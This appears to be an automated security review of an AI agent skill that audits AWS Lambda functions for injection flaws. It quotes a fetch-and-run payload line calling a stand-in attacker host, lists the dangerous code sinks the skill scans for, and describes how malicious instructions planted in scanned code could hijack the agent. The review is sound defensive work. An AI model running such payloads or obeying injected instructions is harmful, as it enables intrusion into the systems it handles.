The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The documentation in SKILL.md includes a sample output format that displays a shell injection payload: curl http://attacker.com/shell.sh | bash. This is a descriptive example for a vulnerability report and is not an active instruction for the agent to execute code.
[EXTERNAL_DOWNLOADS]: The scripts/agent.py utility downloads function deployment packages from AWS-managed URLs (Code.Location) to perform static analysis. These downloads are legitimate operations required for the skill's auditing functionality.
[COMMAND_EXECUTION]: The skill utilizes numerous shell commands involving the AWS CLI (e.g., aws lambda, aws iam) and data processing tools (jq, grep) to enumerate resources and investigate security incidents.
[DYNAMIC_EXECUTION]: The scripts/agent.py analysis script uses regular expressions to identify dangerous dynamic sinks in target code, such as eval(), exec(), os.system(), and subprocess.run(shell=True). Additionally, the script uses zipfile.ZipFile.extractall() on downloaded packages, which is a common pattern in security tools but presents a potential path traversal risk if the target code is malicious.
[INDIRECT_PROMPT_INJECTION]: The skill has an indirect injection surface because it ingests and processes source code from external serverless functions. If an adversary injects malicious instructions into those functions, they could potentially target the agent's analysis process.
Ingestion points: scripts/agent.py downloads and extracts ZIP files from AWS Lambda.
Boundary markers: No specific delimiters or "ignore" instructions are used around the ingested source code.
Capability inventory: The agent has capabilities for file writing, regex matching, and executing external scanners like semgrep or bandit.
Sanitization: No input sanitization is performed on the downloaded function code before processing.

detecting-serverless-function-injection